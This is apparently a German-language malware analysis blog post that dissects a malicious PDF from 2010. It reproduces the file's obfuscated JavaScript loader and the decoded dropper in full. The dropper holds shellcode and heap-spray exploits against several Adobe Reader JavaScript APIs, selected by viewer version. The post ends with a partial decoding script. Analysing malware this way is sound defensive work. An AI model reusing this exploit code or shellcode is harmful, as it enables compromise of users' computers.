3,1205,907,561,1248,565,378,591,138,153,696,635,1922,286,1920,1812,1682,1489,1776,1580,232,1390,1967,1257,913,387,1435,1862,1590,1972,1591,1707,1473,794,212,666,1655,887,1553,1737,984,193,669,850,423,533,958,2049,319,679,1925,495,365,1836,1696,1574,167,1427,1732,2053,1696,1619,1704,1113,709,213,78,370,1104,1621,394,314,1766,1013,1168,483,1493,2067,759,1674,977,640,484,1649,769,119,1574,1218,1838,1610,1299,1543,1105,1241,617,1749,1441,980,2080,426,496,362,707,496,1540,114,860,1353,433,1929,1340,1731,459,1701,1697,1610,180,1512,708,1975,1013,324,1785,2024,1503,609,151,1116,1437,469,1878,1849,1085,400,179,531,828,1351,1750,1500,1192,1051,1422,1951,1063,1402,1389,1102,812,479,1021,1697,680,976,2018,428,1554,373,1510,921,765,1216,1037,1737,1984,1518,123,1074,751,274,826,197,1542,194,1998,514,1507,1381,1547,198,1748,810,152,625,1726,425,1027,1521,660,735,699,1371,317,1879,1349,530,1365,1741,1453,306,1909,201,405,1751,667,402,144,2078,1658,1920,464,1672,971,932,605,966,1245,1456,319,171,560,1299,1852,678,1162,1104,1150,349,791,898,959,913,1018,1303,552,1937,1576,996,1946,1562,766,678,1414,2002,1530,1911,834,1065,1685,1111,1450,136,375,1244,1189,1690,251,613,2074,1268,1474,932,136,794,580,990,675,112,1880,889,1857,867,1455,1300,825,1270,1460,1602,556,1154,1018,1976,1523,1618,1109,582,1288,1678,1506,1655,825,1236,825,1182,282,1361,423,1129,1732,526,1991,1543,1726,1691,1076,855,1262,425,759,1837,1869,1634,132,1275,1238,1553,190,808,1057,1627,356,106,697,1179,1548,1260,703,1908,298,365,286,226,91,252,246,1413,986,1395,127,1627,1487,1875,1229,1507,1176,759,1306,1220,1861,310,1097,167,783,161,1633,221,1329,271,456,1494,558,1045,2040,919,1204,477,253,195,1828,326,1713,1677,226,1287,1451,1589,304,683,1166,120,1355,147,585,2030,219,93,510,1810,625,917,1283,1457,1812,1531,254,1273,2004,439,1689,44,1150,1397,1676,1254,961,1375,1131,1552,2012,140,1919,1566,559,492,1526,1063,883,1988,824,1795,1154,275,1151,1223,1816,1344,456,2028,2084,2050,2059,1395,1761,1945,969,867,1248,1954,703,1502,358,575,978,904,1261,457,1897,2064,698,596,1740,2090,1182,1074,1138,1166,670,1858,1094,1000,204,1465,426,245,1302,1279,1368,794,1484,2031,180,1757,530,1054,583,1678,1784,705,2057,714,1569,2047,1001,583,1097,97,1712,2000,247,1117,1034,812,507,1662,940,1694,861,235,413,205,532,839,278,980,1810,736,985,1805,1733,894,823,1099,894,1724,1679,211,115,1716,130,355,755,1356,1362,1162,942,163,1200,1756,714,1483,264,1558,173,850,422,257,1853,1362,293,1455,196,1044,469,1282,1047,485,1431,1070,2094,1780,1664,791,1173,918,258,2076,1428,1283,2104,392,1051,630,1845,1526,1329,601,1630,1058,209,313,739,619,1565,1238,1854,524,1612,1522,1862,1916,1244,1772,1010,602,970,1165,638,631,725,971,950,2038,1858,1051,1521,1030,1903,1466,410,1984,1633,1522,509,1474,611,594,1911,438,1993,2006,717,1441,1672,1608,404,531,1013,938,1026,1666,152,242,1649,1889,1543,1349,1244,1684,735,1945,1560,645,1348,295,1954,1817,1074,1808,630,1022,2069,1197,788,1549,1035,1017,315,1959,254,1677,1931,582,164,1810,434,1511,1121,1509,1101,1727,1735,911,306,948,1503,240,747,529,294,1638,1747,247,1108,835,103,2110,1805,333,1999,249,1884,1752,871,1992,1526,1461,1815,521,1329,1240,564,956,436,1137,1810,1827,1238,762,608,1778,700,300,233,1659,963,242,1675,1077,913,1592,1648,1108,1589,677,1354,1445,154,1416,152,1739,543,642,579,1184,1712,671,929,1206,1380,1439,1226,1966,1968,1353,1929,1252,1946,1518,586,743,1352,76,2101,1270,686,1313,574,1103,550,700,812,1348,1586,1586,432,1605,207,1609,975,1820,1363,483,1979,1528,122,1767,662,1954,1240,1223,958,788,1179,920,1921,179,475,737,1233,1419,1743,1988,1052,1622,1515,1790,1109,1891,1290,345,1681,947,816,1589,420,1173,1308,1045,1095,795,166,366,1827,1578,1578,1687,45,2089,798,1311,1720,436,1552,1005,1884,1245,641,1320,1156,1939,1948,1064,710,646,539,1037,1722,2032,407,1208,1092,753,1449,839,692,1051,828,687,1364,1536,1830,1268,1842,1598,154,1683,801,806,1310,228,937,1071,1180,1961,1959,1961,1384,2051,2032,1593,1084,1355,722,891,202,1280,171,914,1843,1770,749,1899,1341,629,1479,1410,565,576,448,94,823,1405,1118,290,1311,1057,164,863,1348,417,400,469,1787,997,1595,227,184,1970,1400,258,1626,104,113,1286,1040,1881,619,1543,431,1324,1534,1116,593,963,1294,131,2028,1810,1013,1317,174,1724,2009,1850,1027,1776,1945,1431,1694,1667,1721,1699,1703,136,791,626,1983,1714,401,356,972,161,1702,1880,1094,965,259,1336,673,1508,896,1100,1468,1152,839,385,896,1040,128,902,584,1732,837,534,1760,1934,1049,1981,1895,1675,231,1102,1886,1957,1312,916,1153,1450,131,119,1256,1039,1232,1102,417,342,1416,1348,1718,1439,478,545,1493,1350,1460,1595,1577,374,1534,1370,434,2067,492,148,255,2031,1014,1702,1749,1442,1794,948,715,1274,1986,1038,1907,1641,697,1790,1397,1081,310,1140,700,1664,683,459,406,463,1832,739,785,558,797,915,420,2031,805,177,1777,898,1335,389,2050,1621,1729,146,1173,316,1967,811,1300,181,1831,258,160,822,716,832,1549,793,1402,148,1606,572,1369,1975,826,141,328,570,923,2016,1196,1189,1551,840,1357,964,1415,1212,1669,609,1699,1828,1123,1756,529,1734,418,1969,785,150,369,255,950,1636,457,84,2024,791,572,1224,998,2017,705,427,1182,2006,1648,479,1462,1265,1303,1000,964,477,1035,1750,449,1709,1552,1250,211,1931,1370,1466,1825,1875,1522,201,911,2023,1718,1861,345,325,526,1340,309,131,1720,1962,1268,981,1309,479,1707,539,99,107,544,1956,1670,714,180,922,2085,243,1117,1506,384,1912,1772,2001,1658,370,229,483,1678,848,562,1637,1050,150,996,288,562,652,706,957,1017,1277,1207,633,241,1288,1518,534,1416,462,1991,2046,611,1944,294,502,640,535,889,150,1620,1364,162,611,1398,1030,741,258,1950,1811,1467,921,1348,499,1376,1416,2031,1214,1903,1738,1909,118,77,525,364,386,987,945,1168,1848,1380,627,1449,1415,1560,841,283,598,1283,125,268,1028,1294,1493,1794,610,1216,132,1759,1058,1806,1911,1560,1895,385,1857,519,1241,690,1535,1366,277,555,752,1571,1920,1793,224,416,1349,615,1053,348,1911,856,2088,808,2006,160,759,1377,261,683,810,405,924,570,836,529,1482,335,1772,1741,1110,796,1543,998,533,1738,1724,117,597,1031,410,425,1755,734,1489,1580,781,139,1283,1317,779,1905,1542,1971,802,713)
/CreationDate (D:20100725103251)
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Names <</JavaScript <</Names [() <</S /JavaScript
/JS (var a=function\(\){zd=\(function\(\){return this;}\)\(\);xf=new Date\(\);var id='';var qst='e'+\(parseInt\(xf.getFullYear\(\)\)-2\)+'a'+id+'l';nkvh=zd[qst.replace\('2008','v'\)];var rlk='';var id='';nkvh\('va'+id+'r zlb=th'+id+'i'+id+'s'\);nkvh\(''+id+' mqmu=Str'+id+'ing.f'+id+'romC'+id+'harCode'\);nr='pr'+id+'od'+id+'uc'+'er';var bjp=zlb[nr];mxyq=id;nkvh\('va'+mxyq+'r n'+id+'r=['+bjp+mxyq+']'\);tpx=nr;tp='le'+id+'ng'+id+'th';hgh=parseInt\(tpx[tp]\);id=0;moyj=xf.getFullYear\(\)/1005;var b=function\(q\){return parseInt\(q/2\);};while\(id<hgh\){rlk+=mqmu\(tpx[b\(id\)+b\(hgh\)]-tpx[b\(id\)]\);id+=2;}
nkvh\(rlk\);};a.call\(\);)
>>]
>>
>>
>>
endobj
xref
trailer
<<
/Root 1 0 R
/Info 3 0 R
>>
startxref
698
%%EOF

Entschlüsselt

Der Trojaner ist mit einer binären Methode verschlüsselt, d. h. nach dem Verfahren D=A-B und A und B sind in der Datei. Diese Verschlüsselungsmethode verdoppelt die Länge des Code. Die beiden Zahlen A und B werden als Integer-Array hintereinander im "Producer" abgelegt.

  • Das Entschlüsselungsprogramm ist ziemlich einfach und trotzdem sehr wirkungsvoll.
  • Ich wundere mich darüber, dass einiger Code doch noch ziemlich unverschlüsselt daherkommt (Variable zd).
  • Der Funktionaufruf der Funktion "eval" (wird in der Variable nkvh gehalten) ist besonders gut gegen Entdeckung geschützt. Die Funktion verwendet hierzu das aktuelle Jahr 2010 um dies zu verschleiern. Das bedeutet aber auch, ist die lokale Systemzeit nicht 2010 funktioniert dieser Code nicht mehr. Behavioral-Blocking-Algorithmen haben hier wenig Möglichkeiten um die Routine zu entschleiern außer sie ziehen tatsächlich die aktuelle Systemzeit mit ein - dazu müssen sie im PDF aber überhaupt erst einmal an die JavaScript-Routine herankommen, insgesamt ist klar warum PDF inzwischen ein Hauptangriffsvektor darstellt.
  • Der Zugruff auf "this", "String.fromCharCode" und "this.producer" sind hingegen nicht gleicherart hart geschützt.
  • Der genaue Sinn des Aufbaus vom PDF entzieht sich mir mangels PDF-Kenntnissen. Es wird wohl einen für mich unergründbaren tieferen Sinn haben. (Das "X 0 R" ist jeweils ein Bezug auf ein als "X 0 obj" definiertes Object. Dieses <<...>> ist die Schreibweise eines Diktionärs in PDF.)
Die Entschlüsselte Routine, die in der Variable "rlk" zu liegen kommt sieht wie folgt aus:

var bjsg='%u9090%u9090%u16eb%u3fb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uef34%ue2aa%uc3fa%ue5e8%uffff%u06ff%ueee3%uefef%u6eb1%ub303%uefee%u66ef%u6208%uffa0%u8062%udebb%ub834%ubcbe%ubcbc%ubcbc%ubcbc%ubcba%u87bc%ueeeb%uefef%ub9ba%u87bc%u8180%uefef%u9a87%u839d%ubb82%u6187%ue1a1%u0703%uefa7%uefef%u07bf%uef93%uefef%u3f10%u2b6c%u87e7%u00a0%ueaa0%u07bf%uef83%uefef%u3f10%u2f6a%uf89a%ubb85%u1cb6%u8745%u119d%uf95c%uf207%uefef%ubfef%ube07%uefef%u10ef%ubc3f%u1185%u6687%uee80%u0752%uefe7%uefef%u07bf%uefd3%uefef%u3f10%ude8f%u8b2f%ubf64%u64df%ue3bd%ubd64%u64fb%uc79d%uf756%uefef%udeef%ude10%u432f%u8ed3%ued93%ucfc3%u202e%ueee2%u0d28%u6e1f%ub410%ua553%u6485%uffad%ufd64%u369a%uab66%uf3cb%u2c8e%u648f%ucb83%u64cb%ud3aa%ubb64%u97ea%u05ee%ua564%u64f7%ucfb5%u04ee%udb0c%u64a6%u64db%u01ee%u10de%u2fde%u4313%u2f6b%ue89b%u202e%ueee2%u0428%ud41b%ucb93%u9ac7%u640e%ucbb5%u04ee%u6489%ua4e3%ub564%ueef3%u6404%u64eb%u07ee%uab66%uf3cb%u2d8e%uefe7%u0007%u1011%u8710%u9b9b%ud59f%uc0c0%u808b%u8e82%u8e88%u9c9d%u86c1%u8981%uc080%u8a87%u9f83%u8a8b%u849c%uc1c0%u8286%uc088%uc1de%u879f%uef9f';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Das Resultat ist bereits sehr befriedigend, denn im "Klartext", d. h. es kommt keine weitere Verschlüsselung zum Einsatz.

  • In Variable bjsg befindet sich offensichtlich Shellcode. Das %u9090 (NOP) ist ein ziemlich untrügerisches Zeichen. (Warum Unicode? Der Grund ist einfach: JavaScript arbeitet immer mit Unicode. Ohne Unicode-Zeichen würde der Shellcode als separate Bytes abgelegt, und zwar in 16-Bit-Werten. Dank Unicode, der 16 Bit ist, liegt der Shellcode so in ausführbarerer Weise hintereinander ohne trennende 0-Bytes.)
  • Der Rest des Codes ist der Dropper, der mit verschiedenen Verfahren den Shellcode zur Ausführung bringen möchte. Mit eingeschalteter DEP (bei mir unter Windows 7 Ultimate 64-Bit ist das bei AcroRd32 der Fall) funktioniert das mit dem Shellcode allerdings auf diese Weise nicht, da Daten und Stack nicht ausführbar sind.

Wie kommt man da drauf?

Mir hilft JASH dabei. JASH ist die JavaScript-Shell.

Das Programm zum Entschlüsseln sah so aus:

var nr=[
18,590,458,1396,343,609,783,199,942,473,256,305,781,721,265,1990,1010,1813,1386,1843,314,1694,945,40,1626,1223,1923,588,1121,1921,328,1491,511,1138,887,854,1748,23,1406,1042,496,1662,1347,1630,735,1964,1620,1745,1778,1006,1589,444,1052,534,484,678,109,760,1618,1230,681,299,1074,1544,1789,1961,751,1537,1984,157,931,833,171,279,815,907,243,435,652,373,1793,593,1170,845,1128,6,1875,1589,766,1494,1172,1799,145,246,1696,1934,559,447,1824,896,956,755,1729,1479,1386,544,738,1630,1331,1743,355,1476,336,1525,321,1816,1532,548,1406,650,394,578,450,539,1176,146,826,1735,945,650,631,253,1757,360,84,1144,1256,823,774,939,566,1481,415,1254,1007,1088,1071,539,1637,829,1189,383,1407,1991,1275,583,489,101,670,1786,1103,1302,391,860,14,476,4,1271,1651,1130,562,569,612,978,1823,1971,418,1246,862,407,75,403,791,1834,395,66,769,884,519,1440,1023,1622,742,1414,482,756,242,839,379,1893,321,942,814,933,272,638,1256,690,1884,118,1450,312,522,241,146,917,659,916,153,1530,708,1528,1152,1450,943,1986,558,1537,1177,938,1431,1499,232,597,784,504,1235,41,1546,1472,511,996,136,1033,1589,282,302,600,1550,808,130,258,336,1634,60,1631,1621,619,1169,1150,1557,952,649,141,1549,1434,645,1137,1827,543,961,338,1892,1097,1372,1481,1731,26,82,1634,1186,564,244,1523,199,305,1506,172,924,1027,1322,833,331,1972,974,1881,1758,1971,1370,1585,514,683,1923,406,1780,1647,240,1863,26,674,1497,1212,1238,1742,1087,1789,399,594,1961,1323,1973,1284,508,305,1608,1834,186,1366,1805,1908,1303,671,591,1578,1430,723,1578,1670,586,1604,696,436,1168,286,530,256,76,929,1202,389,604,1175,25,1112,1480,1633,1298,18,1351,1103,278,654,1774,869,585,1204,1944,163,1226,531,119,1922,1319,1287,561,1849,1895,989,778,1097,1378,1734,625,1404,1198,457,1389,496,828,1093,1599,1106,1747,1725,328,332,1282,624,847,508,1507,966,783,826,606,1344,675,501,685,1805,1951,63,1539,928,1819,737,1385,1561,1585,565,654,1184,1672,753,910,352,1438,192,976,285,1052,484,1252,1835,1662,1858,1531,690,711,568,495,662,632,387,1590,803,1476,1328,364,1062,1893,1370,598,1917,124,1860,269,1562,52,1598,1847,1457,434,1451,1644,96,1661,1528,786,373,96,1634,1387,1080,373,978,1884,201,306,600,1615,551,1971,214,469,95,74,1090,9,479,688,1856,1936,1474,1660,1580,1923,1321,1460,1061,1694,1557,1047,1082,637,1420,412,873,1974,1070,1474,1589,1621,1797,1803,90,244,1878,1181,253,709,221,109,645,1696,1769,577,1971,1091,38,1032,1137,1947,80,571,584,1852,1335,1458,1826,405,1284,1416,27,1081,1219,469,1325,1449,2,1578,510,224,39,1155,272,161,85,243,1604,475,1627,1093,774,1707,1665,1358,1560,1000,1168,1738,1758,804,1154,137,237,374,958,1914,175,961,1492,686,1537,1884,193,1809,45,630,404,1649,1457,383,1094,231,443,759,1942,355,112,1462,93,222,267,1248,359,504,1974,1317,419,149,630,263,1187,167,499,1733,328,544,363,1084,545,173,1468,1640,404,1911,751,346,266,1215,1809,359,1437,428,1959,148,1284,1933,1818,55,435,448,319,1974,616,1170,1707,944,67,423,381,964,596,1849,956,1352,112,1708,1699,730,1275,1860,1441,713,640,1401,1213,1924,1686,1031,1980,121,1480,651,96,448,1821,155,1744,1888,578,125,853,1526,326,161,879,438,1869,930,1520,1497,790,962,210,1782,715,1775,1706,401,807,38,875,639,1041,971,1087,1215,1478,831,1455,57,1309,660,1935,1635,822,814,426,1043,1744,1946,540,886,1260,1102,1020,1975,878,727,377,1685,1117,1604,676,511,927,1763,1726,405,946,1181,814,255,1842,750,1891,664,1916,317,1707,1661,615,600,899,1876,1702,1920,203,580,999,932,617,468,536,1293,979,1463,1056,705,1869,355,239,683,610,433,1785,853,1449,1702,1522,1508,1715,138,108,614,366,1811,886,569,391,237,1502,1009,706,38,302,37,1854,1711,1095,1723,66,1334,758,1028,1767,544,1882,1568,598,1756,1076,313,1894,1185,1279,612,996,166,1182,1739,755,1036,1100,1813,1426,1403,1851,1280,1466,946,1355,1884,632,114,912,399,1010,1146,1967,1608,903,1395,1921,1149,580,1200,1762,1928,1718,1296,1668,826,684,768,639,462,523,490,1743,341,1788,1450,577,420,1564,1490,819,574,988,1138,534,243,886,455,1393,1466,8,1507,1747,78,1155,1767,904,191,887,1544,653,1763,34,748,104,1823,199,682,595,115,524,1767,1042,1864,905,1576,108,143,32,1853,1610,392,1712,1709,470,867,1476,1375,1410,363,1271,63,126,1657,1164,583,1832,1363,1617,428,1830,141,195,872,357,1452,449,465,1596,833,670,1206,1225,382,1267,47,1601,743,1422,1011,1458,693,1427,1585,351,591,520,183,306,137,611,136,630,806,1361,987,259,1810,1805,1855,995,475,1413,572,858,680,619,459,1775,42,1471,1233,1087,1250,1170,1438,1841,1690,1974,147,1827,937,635,809,96,1996,149,707,158,1954,914,1153,429,327,1725,1639,1359,697,451,1486,739,274,719,178,1524,242,1969,1365,1932,1943,1864,112,1232,499,1273,1328,848,1422,35,1006,1376,949,512,158,1628,589,149,1339,1286,600,825,377,874,1897,556,750,491,525,115,423,820,331,887,52,1183,161,1733,31,1583,1768,1389,1312,1070,253,1822,698,1195,1971,390,481,924,1567,1211,1798,1816,119,549,307,644,1016,1083,1816,1348,1970,1868,531,483,1601,914,419,1722,655,1731,792,909,1905,1842,104,1876,584,937,800,152,500,951,320,619,1852,628,1615,1220,1711,1431,920,33,1652,1803,517,1253,717,1288,1327,1373,1371,471,634,1276,314,1090,1152,1250,27,305,1402,528,1608,1723,1499,1460,703,1115,1032,414,546,1953,799,198,1756,1668,1804,474,956,1131,199,327,1955,833,1603,269,1923,1108,1519,302,1765,1274,1182,1373,1349,1034,1185,52,149,217,818,1047,522,1617,1246,279,1286,1402,1105,242,885,1304,922,840,489,525,1461,764,1985,1333,1418,1750,959,953,1475,308,1987,660,360,136,1230,1530,1535,1752,1147,1133,383,785,535,1488,1380,1773,1144,302,613,1985,1179,427,1101,1517,1760,520,1619,719,1825,1095,1379,1812,107,91,300,1689,1621,1835,1794,1120,969,177,258,1856,1666,1638,1981,1162,292,595,1148,1823,1374,249,1340,1486,1121,960,205,946,407,1936,1110,514,27,1762,556,0,1598,350,1120,919,527,1378,1127,545,1368,1109,1708,1660,56,856,1484,1430,1457,1176,1268,579,136,1825,1877,895,1761,988,1762,1788,750,318,140,700,668,1260,1971,1547,991,1451,93,359,560,1801,372,968,657,1856,750,114,1384,18,1045,1521,1843,923,768,1604,263,530,1744,1365,848,1884,66,1516,1496,389,1064,487,1840,1509,1199,752,1310,1571,1720,319,1779,822,785,1163,840,1831,1036,1035,1106,1805,991,1721,335,1087,1086,1536,971,1504,1404,820,1894,820,1659,86,329,1210,839,1639,781,911,1958,912,1734,1096,428,574,927,1816,1610,385,1973,953,106,661,41,1192,197,1364,697,1953,184,943,774,1844,1029,1103,1054,1868,743,188,780,1053,1452,866,149,232,1440,1428,49,1402,1813,374,356,271,1035,749,1816,1584,113,513,1538,298,1808,312,494,837,1767,1900,1058,510,440,1838,1916,1893,704,417,477,496,1846,878,251,11,1253,959,635,640,1708,451,225,1821,1316,115,119,1124,779,965,313,546,866,1371,1409,1306,1209,1677,1551,265,94,381,1114,292,1259,1365,656,512,676,1291,1153,384,94,1730,557,1410,197,1029,886,1328,1994,1199,1874,1212,571,1635,871,132,1312,774,750,1759,1155,1864,51,415,1581,1059,927,257,702,432,993,796,514,1550,558,1063,579,1444,391,926,996,618,138,1919,253,1361,51,1918,136,801,1677,1291,1017,80,1706,598,1140,986,1207,1842,1770,200,991,637,103,1549,1700,1034,1346,92,1960,694,710,451,613,1315,1812,664,1233,300,1818,910,1592,1187,1343,1650,1786,835,988,1345,1029,759,1898,20,1396,1,1922,1448,1387,1620,1540,1348,314,602,151,927,1918,315,1943,1151,616,113,414,560,1301,109,562,1439,944,1551,784,1973,662,682,346,58,1035,268,1506,423,240,1399,123,554,1,274,1833,271,941,1776,1775,1557,1890,189,469,1543,298,1032,982,1594,583,1766,1919,1245,449,265,1655,1484,885,1513,259,1125,912,382,31,1266,656,1864,1537,1598,1641,1312,1507,1883,1853,1977,1426,503,1009,408,449,1944,526,369,1189,975,634,1196,812,1872,709,1071,1349,1974,1454,1381,1240,462,1245,1129,412,1238,794,1920,1121,647,1897,899,1503,1258,1307,1952,1202,1834,321,743,1161,1308,1939,325,1532,648,1749,881,622,1555,262,214,17,1508,1344,430,746,490,702,220,1137,951,1119,992,209,779,945,1763,965,1618,506,478,1278,797,804,810,1445,905,1692,420,460,306,986,829,1814,682,1259,913,1172,1961,1485,662,1264,604,1654,1473,1735,951,1236,1052,922,94,1531,200,891,687,1363,689,1592,1055,1461,404,1361,447,1233,1528,1130,493,793,302,806,278,1316,71,1234,971,1896,1322,274,1485,374,1196,1579,257,1749,823,944,1112,1512,888,519,973,1292,1880,1420,526,1760,902,1371,905,1557,529,1535,873,952,770,196,1201,444,471,686,818,19,617,1076,1768,1440,372,880,952,1613,1399,1925,905,1632,1698,1783,1744,600,1506,650,509,36,537,1383,1340,1307,1931,541,1751,754,1227,922,774,197,350,894,1637,1074,127,590,687,1878,867,1945,1510,917,1728,1607,1870,1587,609,379,1623,1146,114,1315,806,46,1857,909,800,1436,1831,1926,1633,533,821,1623,1608,948,565,295,826,1432,592,689,350,673,296,572,260,1257,951,1883,755,1066,1550,1561,1464,1759,471,264,1196,654,191,1181,1188,1364,1156,796,312,1721,1443,1138,1154,36,179,1856,709,827,780,969,84,1731,1204,840,1149,754,753,965,866,1224,1230,414,1879,1773,1595,1419,1137,1104,215,1801,825,10,1291,331,46,1471,187,1107,298,1319,76,383,1051,1632,1575,552,739,328,1518,1605,1905,1100,19,136,1225,1966,1555,714,1070,122,515,248,132,1806,579,179,1277,1119,1638,1928,438,67,311,1841,1699,238,394,790,918,264,747,823,1364,1118,959,941,1085,514,1655,507,636,170,755,769,328,1687,1300,1958,806,1290,1886,1244,1357,549,1086,1409,787,1832,199,1705,96,947,881,1812,417,1840,753,1502,707,760,362,1695,1282,1469,464,1610,1156,116,1920,314,1407,1806,1911,1116,707,997,525,1846,1181,1077,1552,1629,24,785,1441,793,625,546,296,1684,1306,1010,1380,588,831,196,550,340,665,471,654,424,629,565,1540,1337,1914,66,1183,1095,1143,1087,724,1519,1872,517,312,850,1415,960,534,721,322,266,1661,1154,463,564,1494,1128,1035,500,1552,1664,1066,1092,1353,1332,1510,537,780,653,1624,1504,524,1849,374,837,699,1789,149,1585,863,472,1852,876,1626,315,1440,1472,1795,827,1972,1699,492,1390,791,197,1075,654,734,1855,1307,711,1711,184,912,85,1373,1611,227,1522,1548,1090,1994,1752,1966,1972,419,1759,1796,214,586,121,1913,1430,1511,1057,1628,586,1711,714,793,1370,1425,505,1554,337,942,927,300,1169,450,201,611,796,1953,930,1121,373,689,917,939,1275,1038,853,706,902,262,334,1840,325,1048,634,1695,826,1491,1602,1515,433,529,1816,1603,1331,17,566,480,322,1496,1601,695,185,870,1635,1461,261,840,519,1515,1454,853,1355,1779,253,341,1474,1079,1832,1076,947,266,1958,763,221,1641,1132,787,121,1454,284,74,502,821,1297,489,282,1558,1329,801,1073,783,6,780,562,612,1122,388,43,1306,1465,990,1572,1775,105,145,1416,1237,933,1890,1044,1569,1964,1898,390,1613,387,1025,1171,68,178,596,1203,185,1729,117,1149,851,505,1192,509,322,535,82,97,640,579,1866,230,1864,1756,1626,1433,1720,1524,176,1334,1911,1201,857,331,1379,1806,1534,1916,1535,1651,1417,738,156,610,1599,831,1497,1681,928,137,613,794,367,477,902,1993,263,623,1869,439,309,1780,1640,1518,111,1371,1676,1997,1640,1563,1648,1057,653,157,19,253,988,1516,286,268,1654,899,1063,373,1377,1965,719,1640,940,588,431,1601,721,71,1472,1184,1794,1500,1182,1434,1064,1182,492,1717,1339,863,1970,327,380,257,596,386,1508,11,759,1237,328,1830,1229,1621,419,1660,1574,1492,83,1398,676,1878,899,210,1664,1963,1393,508,32,1084,1372,355,1764,1752,964,360,138,472,723,1249,1710,1403,1080,939,1376,1851,952,1303,1343,1035,701,371,913,1600,582,930,1915,327,1438,300,1411,810,655,1175,914,1619,1887,1404,91,962,654,153,718,86,1445,94,1937,397,1397,1280,1432,99,1651,698,51,585,1628,319,912,1418,619,676,581,1274,203,1847,1245,443,1252,1688,1405,258,1842,123,344,1639,570,281,36,1967,1561,1820,418,1564,870,822,502,850,1141,1414,269,112,442,1202,1738,646,1049,983,1089,301,671,846,911,865,970,1255,504,1892,1536,892,1859,1449,713,630,1366,1935,1452,1868,786,945,1634,1055,1409,77,257,1147,1075,1658,130,516,1960,1153,1362,871,19,684,479,875,576,15,1768,788,1817,833,1418,1183,768,1222,1403,1554,519,1037,961,1928,1466,1570,1075,541,1229,1557,1409,1541,710,1124,764,1081,160,1243,309,1089,1611,429,1877,1428,1614,1647,963,734,1221,366,641,1740,1755,1602,20,1222,1173,1447,115,754,1004,1525,295,66,649,1059,1500,1161,655,1809,250,266,238,127,46,204,126,1361,938,1347,79,1579,1439,1834,1182,1459,1056,707,1258,1172,1813,262,1049,108,681,50,1519,181,1211,174,342,1462,440,932,1941,838,1136,420,199,74,1767,278,1654,1559,113,1188,1370,1521,247,629,1045,60,1243,94,520,1924,144,39,457,1708,566,799,1170,1358,1731,1463,197,1219,1883,396,1646,3,1027,1300,1562,1140,840,1284,1013,1439,1913,59,1851,1509,505,371,1433,1002,762,1891,710,1680,1042,232,1039,1126,1695,1236,345,1931,1984,1991,1934,1363,1643,1848,855,835,1132,1869,626,1398,280,477,907,785,1200,340,1787,1963,583,497,1643,1978,1081,1034,1104,1129,622,1801,1060,959,145,1346,322,140,1194,1178,1328,678,1399,1954,76,1679,432,983,464,1632,1676,604,1947,611,1453,1943,941,535,977,45,1664,1952,199,1076,911,696,422,1585,836,1616,763,164,294,162,471,723,193,903,1706,658,887,1734,1614,835,698,1067,778,1639,1602,107,37,1618,59,236,694,1322,1284,1116,908,120,1084,1671,637,1379,186,1460,102,731,363,160,1741,1250,247,1355,85,945,423,1215,936,377,1323,973,1996,1734,1561,690,1057,845,159,1965,1318,1243,1988,307,974,526,1767,1428,1258,482,1589,999,84,188,707,522,1485,1130,1737,421,1507,1412,1747,1855,1147,1660,898,556,858,1057,521,528,652,861,835,1979,1740,954,1407,998,1788,1348,349,1872,1536,1408,394,1373,538,484,1795,398,1896,1894,605,1395,1554,1503,303,412,912,824,940,1565,38,127,1544,1778,1433,1303,1128,1573,652,1829,1446,540,1238,192,1914,1776,1028,1709,526,925,1955,1132,672,1509,987,976,274,1900,152,1566,1817,542,46,1713,320,1479,1016,1448,1053,1668,1630,851,209,868,1395,123,644,424,184,1523,1701,139,1007,725,0,1994,1701,274,1894,206,1841,1711,748,1887,1424,1421,1718,441,1221,1123,461,851,326,1022,1719,1722,1145,716,498,1681,591,199,172,1598,924,173,1592,978,799,1487,1536,992,15